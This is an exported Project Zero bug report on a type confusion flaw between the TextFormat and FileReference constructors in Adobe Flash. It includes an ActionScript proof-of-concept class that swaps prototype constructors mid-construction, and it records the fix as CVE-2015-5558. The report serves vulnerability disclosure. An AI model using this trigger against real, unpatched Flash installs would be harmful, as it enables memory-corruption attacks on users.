Adobe Flash: FileReference class is missing Normal check

[GoogleCodeExporter]

There is a type confusion issue in the TextFormat constructor that is reachable 
because the FileReference constructor does not verify that the incoming object 
is of type Object (it only checks that the object is not native backed). The 
TextFormat constructor first sets a new object to type TextFormat, and then 
calls into script several times before setting the native backing object. If 
one of these script calls then calls into the FileReference constructor, the 
object can be set to type FileReference, and then the native object will be set 
to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subfr();
var allTypes:Array = new Array();
var imageTypes:Object = new Object();
imageTypes.description = "Images (*.jpg, *.jpeg, *.gif, *.png)";
imageTypes.extension = "*.jpg; *.jpeg; *.gif; *.png";
allTypes.push(imageTypes);

var textTypes:Object = new Object();
textTypes.description = "Text Files (*.txt, *.rtf)";
textTypes.extension = "*.txt;*.rtf";
allTypes.push(textTypes);
var f = new flash.net.FileReference();
f.cancel.call(a);

Defining subfr:

class subfr extends Object{

    public function subfr(){            
    var n = {valueOf : func};
    this.valueOf = func;
    this.toString = func;
    this.__proto__ = {}; 
    this.__proto__.__constructor__ = TextFormat;
    super(this);

}

function func(){

    this.__proto__ = {}; 
    this.__proto__.__constructor__ = flash.net.FileReference;
    super();
    return "natalie";
    }

}

A sample SWF and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 1 Jun 2015 at 11:25

Attachments:

• frc.fla
• frc.swf
• subfr.as

[GoogleCodeExporter]

PSIRT-3790

Original comment by natashe...@google.com on 3 Jun 2015 at 9:41

[GoogleCodeExporter]

Original comment by natashe...@google.com on 11 Aug 2015 at 3:21

• Changed state: Fixed
• Added labels: CVE-2015-5558, Id-3790

[GoogleCodeExporter]

Fixed in https://helpx.adobe.com/security/products/flash-player/apsb15-19.html

Original comment by natashe...@google.com on 18 Aug 2015 at 7:42

• Removed labels: Restrict-View-Commit